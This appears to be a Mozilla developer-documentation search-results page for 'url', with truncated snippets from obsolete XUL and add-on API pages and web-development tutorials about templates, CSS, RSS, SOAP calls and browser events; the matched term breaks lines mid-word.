tries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://p
url.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> </template> </menulist> the only difference between the previous example and this one is that the menulist element has some additional content added before the template.
....org/2001/09/countries/country-ont#country" onselect="applyfilter(event.target.value);"> <radio label="all" selected="true"/> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://p
url.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <radio uri="?country" label="?countrytitle" value="?country"/> </action> </template> </radiogroup> this example doesn't have any other content to generate outside the radio element with the uri attribute, so it will just be copied as is.
Using Multiple Queries to Generate More Results - Archive of obsolete content
<template> <queryset> <query> <content uri="?start"/> <member container="?start" child="?item"/> </query> <rule> <binding subject="?item" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title" class="header"/> </action> </rule> </queryset> <queryset> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/people" object="?people"/> <member container="?people" child="?item"/> </query> <rule> <bind...
...ing subject="?item" predicate="http://p
url.org/dc/elements/1.1/title" object="?title"/> <action> <label uri="?item" value="?title"/> </action> </rule> </queryset> </template> you can view the example.
Adding Event Handlers - Archive of obsolete content
you may use relative or absolute
urls.
... for example, you may use
urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this.
List Controls - Archive of obsolete content
for example, the
url field in the browser has a drop-down for selecting previously typed
urls, but you can also type them in yourself.
... to create an editable menulist, add the editable attribute as follows: example 6 : source view <menulist editable="true"> <menupopup> <menuitem label="www.mozilla.org" /> <menuitem label="www.xulplanet.com" /> <menuitem label="www.dmoz.org" /> </menupopup> </menulist> the
url field created here has three pre-populated choices that the user can select or they can enter one of their own by typing it into the field.
XBL Attribute Inheritance - Archive of obsolete content
the following demonstrates this: xul: <box class="labeledtextbox" title="enter some text:" value="ok"/> css: box.labeledtextbox { -moz-binding:
url('chrome://example/skin/example.xml#labeledtextbox'); } xbl: <binding id="labeledtextbox"> <content> <xul:label xbl:inherits="value=title"/> <xul:textbox xbl:inherits="value"/> </content> </binding> the textbox inherits the value attribute directly.
...here is another example: xul: <box class="okcancel" oktitle="ok" canceltitle="cancel" image="happy.png"/> css: box.okcancel { -moz-binding:
url('chrome://example/skin/example.xml#okcancel'); } xbl: <binding id="okcancel"> <content> <xul:button xbl:inherits="label=oktitle,image"/> <xul:button xbl:inherits="label=canceltitle"/> </content> </binding> the value of the oktitle attribute is mapped to the label attribute of the first button.
XPCOM Interfaces - Archive of obsolete content
get a component for the file to copy var afile = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); if (!afile) return false; // get a component for the directory to copy to var adir = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); if (!adir) return false; // next, assign
urls to the file components afile.initwithpath(sourcefile); adir.initwithpath(destdir); // finally, copy the file, without renaming it afile.copyto(adir,null); } copyfile("/mozilla/testfile.txt","/etc"); xpcom services some xpcom components are special components called services.
...the first two parameters to this function are the bookmark's
url and its title.
XUL Questions and Answers - Archive of obsolete content
use the following snippet of code to reference a js file within a js file: objscriptloader = components.classes["@mozilla.org/moz/jssubscript-loader;1"].getservice(components.interfaces.mozijssubscriptloader); objscriptloader.loadsubscript(str
url); see http://www.xulplanet.com/references/...iptloader.html for more information.
...change this line var settings = printutils.getprintsettings(); to this var settings = printutils.getprintsettings().clone(); settings.doc
url = " "; // suppress
url on printout other options you can modify are documented here: http://www.xulplanet.com/references/...tsettings.html how can i send xml/xul document fragment to the server instead of using get or post variables?
XUL element attributes - Archive of obsolete content
these can be either internal datasources such as rdf:bookmarks or a
url.
... for xml datasources, only one source is used, either the
url of an xml file or an anchor reference to another element within the same document.
iframe - Archive of obsolete content
attributes showcaret, src, type, transparent properties accessibletype, contentdocument, contentwindow, docshell, webnavigation examples <iframe src="table.php" flex="2" id="browsertable" name="table_frame"/> selecting an
url from a menu <menulist oncommand="donav(this);"> <menupopup> <menuitem label="mozilla" value="http://mozilla.org" /> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net" /> <menuitem label="freshmeat" value="http://freshmeat.net"/> </menupopup> </menulist> <iframe id="myframe" flex="1"/> <script> function donav(obj) { ...
... var
url = obj.selecteditem.value; // note the firstchild is the menupopup element document.getelementbyid('myframe').setattribute('src',
url); } </script> attributes showcaret type: boolean whether or not to cause a typing caret to be visible in the content area.
stringbundle - Archive of obsolete content
the "src" attribute accepts only absolute chrome://
urls (see bugs 133698, 26291) attributes src properties applocale , src, stringbundle, strings methods getformattedstring, getstring examples (example needed) attributes src type: uri the uri of the property file that contains the localized strings.
... src type:
url gets and sets the value of the src attribute.
timepicker - Archive of obsolete content
attributes disabled, hideseconds, increment, readonly, tabindex, value properties amindicator, datevalue, disabled, hideseconds, hour, ho
urleadingzero, increment, is24hourclock, ispm, minute, minuteleadingzero, pmindicator, readonly, second, secondleadingzero, tabindex, value examples <timepicker value="12:05"/> attributes disabled type: boolean indicates whether the element is disabled or not.
... ho
urleadingzero type: boolean a read only value indicating whether a leading zero should be displayed before the hour when it is less than 10.
Deploying XULRunner - Archive of obsolete content
entifier</key> <string>net.yourcompany.yourapplication</string> <key>cfbundleinfodictionaryversion</key> <string>6.0</string> <key>cfbundlename</key> <string>applicationname</string> <key>cfbundlepackagetype</key> <string>appl</string> <key>cfbundleshortversionstring</key> <string>1.0</string> <key>cfbundlesignature</key> <string>????</string> <!--only useful if your app handle
urls--> <key>cfbundle
urltypes</key> <array> <dict> <key>cfbundle
urliconfile</key> <string>app_icon.icns</string> <key>cfbundle
urlname</key> <string>yourapp entity</string> <key>cfbundle
urlschemes</key> <array> <string>chrome</string> </array> </dict> </array> <key>cfbundleversion</key> <string>1.0</string> </dict> </plist> here's a sample of the pkginfo file aapl??
... edit this as you need to, but cfbundleexecutable must be xulrunner, and cfbundleiconfile and cfbundle
urliconfile should be set to the filename of your application icon (app_icon.icns).
Using SOAP in XULRunner 1.9 - Archive of obsolete content
(there is a diff below.) you'll need: sasoapclient.js saxmlutils.js making a soap call var
url = 'http://example.com/soap/'; var ns = 'http://example.com/soap/namespace'; var method = 'foo'; var params = { 'foo': 'bar', 'baz': 'bang' }; var callback = function(obj) { components.utils.reporterror(obj.tosource()); }; soapclient.proxy =
url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req =...
... new soaprequest(
url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", <
url: soapclient.proxy, < datatype: "xml", < processdata: false, < data: content, < complete: getresponse, < contenttype: soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.setrequestheader("method", "post"); < req.setrequestheader("content-length", soapclient.contentlength); < req.setrequestheader("soapserver", soapclient.soapserver); < req.setrequestheader("soap...
nsIContentPolicy - Archive of obsolete content
this interface can be very useful if you are developing a content-aware plugin (blocking ads or altering the look of content, for example), or if you want to stop or allow user-browsed
urls.
... other 0 obsolete since gecko 1.8 script 1 obsolete since gecko 1.8 image 2 obsolete since gecko 1.8 stylesheet 3 obsolete since gecko 1.8 object 4 obsolete since gecko 1.8 subdocument 5 obsolete since gecko 1.8 control_tag 6 obsolete since gecko 1.8 raw_
url 7 obsolete since gecko 1.8 document 8 obsolete since gecko 1.8 methods shouldload() called to let your content policy implementation decide whether or not the resource at a given location should be loaded.
NPAPI plugin developer guide - Archive of obsolete content
or plug-in display nesting rules for html elements using the appropriate attributes using the embed element for plug-in display using custom embed attributes plug-in references plug-in development overview writing plug-ins registering plug-ins ms windows unix mac os x drawing a plug-in instance handling memory sending and receiving streams working with
urls getting version and ui information displaying messages on the status line making plug-ins scriptable building plug-ins building, platforms, and compilers building carbonized plug-ins for mac os x type libraries installing plug-ins native installers xpi plug-ins installations plug-in installation and the windows registry initialization and destruction ini...
...treams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream
urls getting
urls getting the
url and displaying the page posting
urls posting data to an http server uploading files to an ftp server sending mail memory allocating and freeing memory mac os flushing memory (mac os only) version, ui, and status information displaying a status line message getting agent information getting the current version ...
NPP_NewStream - Archive of obsolete content
a plug-in can also request a stream with the function npn_get
url.
... see also npn_newstream, npp_streamasfile, npp_write, npp_writeready, npp_destroystream, npn_requestread, npstream, npn_get
url ...
The First Install Problem - Archive of obsolete content
the same mimetype description that apears when you type "about:plugins" as a
url in mozilla's location bar.
...for example, in our case, a prospective invocation might look like: <object classid="@mycompany.com/myapplication,version=5.01" data="myfile.typ" codebase="http://my
url.com/myplugin/myplugin.xpi" type="application/x-myapp"></object> the use of both "type" and "classid" attributes here offers the following user benefit: if there is another mimetype handler for application/x-myapp, only myapplication gets invoked.
What is RSS - Archive of obsolete content
you know you want to.</description> <lastbuilddate>tue, 23 aug 2005 21:02:05 -0800</lastbuilddate> <link>http://katetv.example.com/</link> <item> <title>this is fun</title> <guid>http://katetv.example.com/show/4</guid> <pubdate>tue, 23 aug 2005 21:02:05 -0800</pubdate> <enclosure
url="http://katetv.example.com/show/4" length="1911146" type="application/ogg"/> </item> <item> <title>watch this</title> <guid>http://katetv.example.com/show/3</guid> <pubdate>tue, 16 aug 2005 16:11:57 -0400</pubdate> <enclosure
url="http://katetv.example.com/show/3" length="1387442" type="application/ogg"/> </item> <ite...
...m> <title>it is me again</title> <guid>http://katetv.example.com/show/2</guid> <pubdate>tue, 9 aug 2005 13:12:12 -0400</pubdate> <enclosure
url="http://katetv.example.com/show/2" length="1894877" type="video/mpeg"/> </item> <item> <title>hello</title> <guid>http://katetv.example.com/show/1</guid> <pubdate>tue, 2 aug 2005 18:22:14 -0400</pubdate> <enclosure
url="http://katetv.example.com/show/1" length="17442215" type="application/ogg"/> </item> </channel> </rss> the observant reader may have noticed that the news web site and blogger examples were the same type of rss.
.htaccess ( hypertext access ) - Archive of obsolete content
the .htaccess file configures the current directory with things like password protection,
url rewrites & redirects, and more.
... common application
url redirects & rewrite: htaccess files are often used to redirect traffic to a web page to another or from traffic to a directory to another even between domains is possible.
Browser Feature Detection - Archive of obsolete content
document.createtextnode() true true true document.createcomment() true true true document.createattribute() true true true document.getelementsbytagname() true true true document.title true true true document.referrer true true true document.domain true true true document.
url true true true document.body true true true document.images true true true document.applets true true true document.links true true true document.forms true true true document.anchors true true true document.cookie true true true document.open() true ...
...ted': false}, {name: 'createdocumentfragment', 'supported': false}, {name: 'createtextnode', 'supported': false}, {name: 'createcomment', 'supported': false}, {name: 'createattribute', 'supported': false}, {name: 'getelementsbytagname', 'supported': false}, {name: 'title', 'supported': false}, {name: 'referrer', 'supported': false}, {name: 'domain', 'supported': false}, {name: '
url', 'supported': false}, {name: 'body', 'supported': false}, {name: 'images', 'supported': false}, {name: 'applets', 'supported': false}, {name: 'links', 'supported': false}, {name: 'forms', 'supported': false}, {name: 'anchors', 'supported': false}, {name: 'cookie', 'supported': false}, {name: 'open', 'supported': false}, {name: 'close', 'supported': false}, {name: 'write', 'su...
-moz-binding - Archive of obsolete content
syntax /* <
url> value */ -moz-binding:
url(http://www.example.org/xbl/htmlbindings.xml#checkbox); /* global values */ -moz-binding: inherited; -moz-binding: initial; -moz-binding: unset; values <
url> the
url for the xbl binding (including the fragment identifier).
... formal definition initial valuenoneapplies toall elements except generated content or pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <
url> | none examples .exampleone { -moz-binding:
url(http://www.example.org/xbl/htmlbindings.xml#radiobutton); } specifications not part of any standard.
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
importpackage( java.net ); // connect to the remote resource var u = new
url( "http://www.mozilla.org/news.rdf" ); var c = u.openconnection(); c.connect(); // read in the raw data var s = new java.io.inputstreamreader( c.getinputstream() ); var b = new java.io.bufferedreader( s ); var l, str = ""; while( ( l = b.readline() ) != null ) { // skip if( l != "" ) { str = str + l + "\n"; } } // define the namespaces, first the default, // then additional namespaces defaul...
...t xml namespace = "http://p
url.org/rss/1.0/"; var dc = new namespace( "http://p
url.org/dc/elements/1.1/" ); var rdf = new namespace( "http://www.w3.org/1999/02/22-rdf-syntax-ns#" ); // use e4x to process the feed var x = new xml( str ); for each( var i in x..item ) { print( "title: " + i.title + "\n" ); print( "about: " + i.@rdf::about + "\n" ); print( "link: " + i.link + "\n" ); print( "date: " + i.dc::date + "\n" ); } the first half of this script is standard java code used to retrieve the feed data.
Implementation Status - Archive of obsolete content
ported 11.8.1 name unsupported 11.8.2 value unsupported 11.9 submission options supported 11.9.1 the get submission method supported 11.9.2 the post, multipart-post, form-data-post, and
urlencoded-post submission methods supported 11.9.3 the put submission method supported 11.9.4 the delete submission method unsupported 11.9.5 serialization as application/xml supported 11.9.6 serialization as multipart/related...
... partial 330557; 11.9.7 serialization as multipart/form-data supported 11.9.8 serialization as application/x-www-form-
urlencoded supported 11.10 replacing data with the submission response partial @replace with value of 'text' not supported 11.11 integration with soap supported g.
Mozilla XForms Specials - Archive of obsolete content
instead you will have to use the following normal classes instead: xf-value xf-repeat-item xf-repeat-index for example, to target the value element of an input control use: @namespace xf
url("http://www.w3.org/2002/xforms"); xf|input .xf-value { ...
...forms loaded from that
url should be local files, and thus trusted, but it is not always the case.
XForms Alert Element - Archive of obsolete content
attributes single-node binding linking src -
url of a document whose contents will be retrieved by the alert element and used to provide the alert message for the containing form control.
... examples <xforms:model> <xforms:instance> <data xmlns=""> <x>10</x> </data> </xforms:instance> <xforms:bind id="x" nodeset="x" type="xsd:integer"/> </xforms:model> <style> @namespace xforms
url("http://www.w3.org/2002/xforms"); xforms|input:invalid xforms|alert.inline { display: inline; font-style: italic; width: 40%; } } </style> <xforms:input bind="x"> <xforms:label>you can type only numbers (validation happens on blur): </xforms:label> <xforms:alert>wrong value!
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
list of csp navigation directives form-action restricts the
urls which can be used as the target of a form submissions from a given context.
... navigate-to restricts the
urls to which a document can initiate navigation by any means, including <form> (if form-action is not specified), <a>, window.location, window.open, etc.
Application Context - MDN Web Docs Glossary: Definitions of Web-related terms
otherwise, when the application context is created, the user agent must immediately navigate to the start
url with replacement enabled.
... please note that the start
url is not necessarily the value of the start_
url member: the user or user agent could have changed it when the application was added to home-screen or otherwise bookmarked.
Advanced styling effects - Learn web development
first, background-blend-mode — here we'll show a couple of simple <div>s, so you can compare the original with the blended version: <div> </div> <div class="multiply"> </div> now some css — we are adding to the <div> one background image and a green background color: div { width: 250px; height: 130px; padding: 10px; margin: 10px; display: inline-block; background:
url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; background-color: green; } .multiply { background-blend-mode: multiply; } the result we get is this — you can see the original on the left, and the multiply blend mode on the right: mix-blend-mode now let's look at mix-blend-mode.
...rticle> multiply mix <div class="multiply-mix"> </div> <div> </div> </article> here's the css we'll style this with: article { width: 280px; height: 180px; margin: 10px; position: relative; display: inline-block; } div { width: 250px; height: 130px; padding: 10px; margin: 10px; } article div:first-child { position: absolute; top: 10px; left: 0; background:
url(https://mdn.mozillademos.org/files/13090/colorful-heart.png) no-repeat center 20px; background-color: green; } article div:last-child { background-color: purple; position: absolute; bottom: -10px; right: 0; z-index: -1; } .multiply-mix { mix-blend-mode: multiply; } this gives us the following results: you can see here that the multiply mix blend has blended together not only t...
Styling tables - Learn web development
start by adding the following css to your style.css file, again at the bottom: /* graphics and colors */ thead, tfoot { background:
url(leopardskin.jpg); color: white; text-shadow: 1px 1px 1px black; } thead th, tfoot th, tfoot td { background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); border: 3px solid purple; } again, there's nothing specific to tables here, but it is worthwhile to note a few things.
...add the following css to the bottom of your style.css file: /* zebra striping */ tbody tr:nth-child(odd) { background-color: #ff33cc; } tbody tr:nth-child(even) { background-color: #e495e4; } tbody tr { background-image:
url(noise.png); } table { background-color: #ff33cc; } earlier on you saw the :nth-child selector being used to select specific child elements.
Using CSS generated content - Learn web development
image content to add an image before or after an element, you can specify the
url of an image file in the value of the content property.
... this rule adds a space and an icon after every link that has the class glossary: html <a href="developer.mozilla.org" class="glossary">developer.mozilla.org</a> css a.glossary::after { content: " "
url("https://mdn.mozillademos.org/files/16322/glossary-icon.gif"); } ...
What is a Domain Name? - Learn web development
prerequisites: first you need to know how the internet works and understand what
urls are.
...(r37-lror) sponsoring registrar iana id: 292 whois server: referral
url: domain status: clientdeleteprohibited domain status: clienttransferprohibited domain status: clientupdateprohibited registrant id:mmr-33684 registrant name:dns admin registrant organization:mozilla foundation registrant street: 650 castro st ste 300 registrant city:mountain view registrant state/province:ca registrant postal code:94041 registrant country:us registrant phone:+1.6509030800 as yo...
What’s in the head? Metadata in HTML - Learn web development
for example, if you try bookmarking the page (bookmarks > bookmark this page or the star icon in the
url bar in firefox), you will see the <title> contents filled in as the suggested bookmark name.
... twitter also has its own similar proprietary metadata called twitter cards, which has a similar effect when the site's
url is displayed on twitter.com.
What went wrong? Troubleshooting JavaScript - Learn web development
syntaxerror: missing } after function body this is easy — it generally means that you've missed one of your c
urly braces from a function or conditional structure.
... we got this error by deleting one of the closing c
urly braces near the bottom of the checkguess() function.
JavaScript object basics - Learn web development
we could get those values like this: let mydataname = nameinput.value; let mydatavalue = namevalue.value; we could then add this new member name and value to the person object like this: person[mydataname] = mydatavalue; to test this, try adding the following lines into your code, just below the closing c
urly brace of the person object: let mydataname = 'height'; let mydatavalue = '1.75m'; person[mydataname] = mydatavalue; now try saving and refreshing, and entering the following into your text input: person.height adding a property to an object using the method above isn't possible with dot notation, which can only accept a literal member name, not a variable value pointing to a name.
...for each webpage loaded, an instance of document is created, called document, which represents the entire page's structure, content, and other features such as its
url.
Website security - Learn web development
for example, consider a site search function where the search terms are encoded as
url parameters, and these terms are displayed along with the results.
...this includes, but is not limited to data in
url parameters of get requests, post requests, http headers and cookies, and user-uploaded files.
Getting started with React - Learn web development
variables in jsx back in app.js, let’s focus on line 9: <img src={logo} classname="app-logo" alt="logo" /> here, the <img /> tag's src attribute value is in c
urly braces.
... you can read jsx variables by putting them between c
urly braces, like {so}.
Working with Svelte stores - Learn web development
upon revisiting the
url, your todos will still be there.
...existing ones: import { fly } from 'svelte/transition' to use it, update your opening <div> tag like so: <div role="alert" on:click={() => visible = false} transition:fly > transitions can also receive parameters, like this: <div role="alert" on:click={() => visible = false} transition:fly="{{delay: 250, duration: 300, x: 0, y: -100, opacity: 0.5}}" > note: the double c
urly braces are not special svelte syntax.
Dynamic behavior in Svelte: working with variables and props - Learn web development
<button type="button" class="btn"> edit <span class="visually-hidden">{todo.name}</span> </button> <button type="button" class="btn btn__danger"> delete <span class="visually-hidden">{todo.name}</span> </button> </div> </div> </li> {:else} <li>nothing to do here!</li> {/each} </ul> notice how we are using c
urly braces to embed javascript expressions in html attributes, like we did with the checked and id attributes of the checkbox.
... something similar happens with aria-pressed={filter === 'all'} — when the javascript expression passed between c
urly braces evaluates to a truthy value, the aria-pressed attribute will be added to the button.
Handling common accessibility problems - Learn web development
tenon: another nice online tool that goes through the code at a provided
url and returns results on accessibility errors including metrics, specific errors along with the wcag criteria they affect, and suggested fixes.
... enter the
url of our bad-semantics.html example into the text input at the top of the page (or the
url of another webpage you'd like to analyze) and press analyse your webpage.
Handling common JavaScript problems - Learn web development
this is supposed to be fetched from an external .json file using the following xmlhttprequest call: let request
url = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; let request = new xmlhttprequest(); request.open('get', request
url); request.send(); let superheroes = request.response; populateheader(superheroes); showheroes(superheroes); but this fails.
... existing <script> element so they will be available on the page already when we start trying to use fetch: <script src="es6-promise.js"></script> <script src="fetch.js"></script> inside the original <script>, add the following code: const myimage = document.queryselector('.my-image'); fetch('flowers.jpg').then(function(response) { response.blob().then(function(myblob) { let object
url =
url.createobject
url(myblob); myimage.src = object
url; }); }); now if you load it in a browser that doesn't support fetch (safari and ie are obvious candidates), you should still see the flower image appear — cool!
Accessible Toolkit Checklist
get_accvalue: get the "value" of the iaccessible, for example a number in a slider, a
url for a link, the text a user entered in a field.
... dark border dynamically when the currently focused widget does not need the enter key events - making keystrokes do the right thing msaa support (default state) links enter key activates link (thus default button no longer shows dark border when link is focused) msaa support, including linked and traversed states, and accessible value that holds destination
url text fields - single and multiple line it's probably best to use native widgets for these, otherwise accessibility support will be quite difficult tab should always focus the next item, not insert a tab, unless there's a really good reason and another way to navigate always use system selection color, otherwise screen reader won't read the text make sure the...
Chrome registration
note: there was a bug in gecko 1.8.1.5 (firefox 2.0.0.5) and earlier where you could not use a relative
url for the new-resolved-uri parameter.
... you needed to provide an absolute
url.
Debugging update problems
you can do this using the live http headers addon to determine the
url of the update request.
... that
url might look something like: https://aus3.mozilla.org/update/3/firefox/12.0a1/20120106040225/darwin_x86_64-gcc3-u-i386-x86_64-shark/nightly-profiling/darwin%2010.8.0/default/default/update.xml?force=1 you can then request this
url manually to see what's inside.
Makefile - variables
moz_debug moz_enable_xremote moz_feeds moz_help_viewer moz_native_nspr moz_metro moz_pkg_mainfest moz_preflight_all moz_rdf moz_toolkit_search moz_
url_classifier moz_widget_toolkit android, beos, cocoa, gtk2, os2, qt, windows moz_xpctools moz_xul moz_x11 test variable description enable_tests boolean value that should wrapper all unit tests to allow disabling on...
... default=$(dist)/bin xpi_name if set final_target=$(dist)/xpi-stage/$(xpi_name) dist_subdir if set final_target will be $(dist)/bin/$(dist_subdir) [ metro build ] l10n.mk and localization variable description en_us_binary_
url server
url from which wget will ftp binaries.
Simple SeaMonkey build
debian linux: # this one-liner should install all necessary build deps sudo aptitude install zip mercurial libasound2-dev libc
url4-openssl-dev libnotify-dev libxt-dev libiw-dev libidl-dev mesa-common-dev autoconf2.13 yasm libgtk2.0-dev libdbus-1-dev libdbus-glib-1-dev python-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libpulse-dev ubuntu linux # for ubuntu 12.04 lts (precise pangolin), replace the following line with: sudo apt-get build-dep thunderbird sudo apt-get build-dep seamonkey su...
...do apt-get install zip unzip mercurial g++ make autoconf2.13 yasm libgtk2.0-dev libglib2.0-dev libdbus-1-dev libdbus-glib-1-dev libasound2-dev libc
url4-openssl-dev libnotify-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libiw-dev libxt-dev mesa-common-dev libpulse-dev fedora linux centos rhel: sudo yum groupinstall 'development tools' 'development libraries' 'gnome software development' sudo yum install mercurial autoconf213 glibc-static libstdc++-static yasm wireless-tools-devel mesa-libgl-devel alsa-lib-devel libxt-devel gstreamer-devel gstreamer-plugins-base-devel pulseaudio-libs-devel # 'development tools' is defunct in fedora 19 and above use the following sudo yum groupinstall 'c development tools and libraries' sudo yum group mark install "x soft...
Index
11 firefox and the "about" protocol firefox, guide, mozilla, protocols there is a lot of useful information about firefox hidden away behind the about:
url protocol.
... the most useful is the
url about:config, which displays preferences and settings that can be inspected and changed.
Firefox
contents experimental features in firefoxthis page lists features that are in nightly versions of firefox along with information on how to activate them, if necessary.firefox and the "about" protocolthere is a lot of useful information about firefox hidden away behind the about:
url protocol.
... the most useful is the
url about:config, which displays preferences and settings that can be inspected and changed.firefox ui considerations for web developersthere are a number of places within the firefox user interface where web sites are listed for the user to choose a destination to visit or a site to manage in some way.
mozbrowsermanifestchange
details the details property returns an anonymous javascript object with the following properties: href the
url of the new app manifest.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsermanifestchange", function(event) { console.log("new manifest
url: " + event.details.href); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowseropentab
details the details property returns an anonymous javascript object with the following properties:
url a domstring representing the
url of the new document loaded.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropentab", function( event ) { console.log("a new document has opened containing the content at " + event.details.
url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowseropenwindow
details the details property returns an anonymous javascript object with the following properties:
url a domstring representing the
url of the document loaded within the frameelement property.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropenwindow", function( event ) { console.log("a new window has opened containing the content at " + event.details.
url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
ChromeWorker
addons must use absolute
urls to load their workers, and those
urls have to be using a chrome:// or resource:// protocol (file:// is not accepted).
... addons that wish to use file://
urls must first register a resource replacement path, using code like this: var fileuri = services.io.newfileuri(file); services.io.getprotocolhandler('resource').
AddonInstall
instances can be created using the getinstallforfile() or getinstallfor
url() methods on the addonmanager.
... icon
url string the icon of the add-on being installed.
AddonScreenshot
attributes attribute type description
url string the
url of the screenshot.
... thumbnail
url optional string the
url of a thumbnail version of the screenshot.
AddonUpdateChecker
m"); method overview updateinfo getcompatibilityupdate(in updateinfo updates[], in string version, in boolean ignorecompatibility, in string appversion, in string platformversion) updateinfo getnewestcompatibleupdate(in updateinfo updates[], in string appversion, in string platformversion) void checkforupdates(in string id, in string type, in string updatekey, string
url, in updatechecklistener listener) constants constant description error_timeout the update check timed out.
... void checkforupdates( in string id, in string type, in string updatekey, string
url, in updatechecklistener listener ) parameters id the id of the add-on being checked for updates type the type of add-on being checked for updates updatekey an optional update key for the add-on
url the
url of the add-on's update manifest listener an observer to notify of results ...
Code Samples
components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("yourextensionid", function(addon) { var addonlocation = addon.getresourceuri("").queryinterface(components.interfaces.nsifile
url).file.path; }); accessing file and version information components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("my-addon@foo.com", function(addon) { alert("my extension's version is " + addon.version); alert("did i remember to include that file.txt file in my xpi?
..."yes!" : "no"); alert("let's pretend i did, it's available from the
url " + addon.getresourceuri("file.txt").spec); }); uninstall an add-on components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("youraddon@youraddon.com", function(addon) { addon.uninstall(); }); disable an add-on components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getaddonbyid("youraddon@youraddon.com", function(addon) { if (addon.isactive) addon.userdisabled = addon.isactive; }); listening for add-on uninstall this example sets a variable beinguninstalled that you can check when you get a profile-before-change message to do cleanup for your add-on on uninstall.
UpdateInfo
update
url string the update
url that the update can be downloaded from.
... updateinfo
url string a
url containing simple release notes for the update.
CustomizableUI.jsm
window of selected tab'); thisdomwindow.alert('alert from xul window'); } }); //end - use customizableui.jsm to create the widget //start - use style sheet service to style our widget to give it an icon cu.import('resource://gre/modules/services.jsm'); var sss = cc['@mozilla.org/content/style-sheet-service;1'].getservice(ci.nsistylesheetservice); var css = ''; css += '@-moz-document
url("chrome://browser/content/browser.xul") {'; css += ' #id_of_my_widget_within_customizableui_and_dom {'; css += ' list-style-image:
url("chrome://branding/content/icon16.png")'; //a 16px x 16px icon for when in toolbar css += ' }'; css += ' #id_of_my_widget_within_customizableui_and_dom[cui-areatype="menu-panel"],'; css += ' toolbarpaletteitem[place="palette"] > #id_of_my_wi...
...dget_within_customizableui_and_dom {'; css += ' list-style-image:
url("chrome://branding/content/icon32.png");'; //a 32px x 32px icon for when in toolbar css += ' }'; css += '}'; var cssenc = encodeuricomponent(css); var newuriparam = { a
url: 'data:text/css,' + cssenc, aorigincharset: null, abaseuri: null } var cssuri = services.io.newuri(newuriparam.a
url, newuriparam.aorigincharset, newuriparam.abaseuri); //store this in a global var so you can call it when removing the widget sss.loadandregistersheet(cssuri, sss.author_sheet); /**************/ // when you want to remove this widget run this code: // sss.unregistersheet(cssuri, sss.author_sheet); //remove the style sheet we applied // customizableui.destroywidget('id_of_my_widget_within_customizableui_and_dom'); //rem...
FxAccountsOAuthClient.jsm
methods launchwebflow() opens a new tab at the firefox accounts oauth authorization
url.
...parameters none examples using the fxaccountsoauthclient chrome code let parameters = { oauth_uri: oauth_server_endpoint, client_id: oauth_client_id, content_uri: content_server_
url, state: oauth_state } let client = new fxaccountsoauthclient({ parameters: parameters }); client.oncomplete = function (tokendata) { // tokendata consists of two properties: "tokendata.state" and "tokendata.code" }; client.launchwebflow(); ...
Using workers in JavaScript code modules
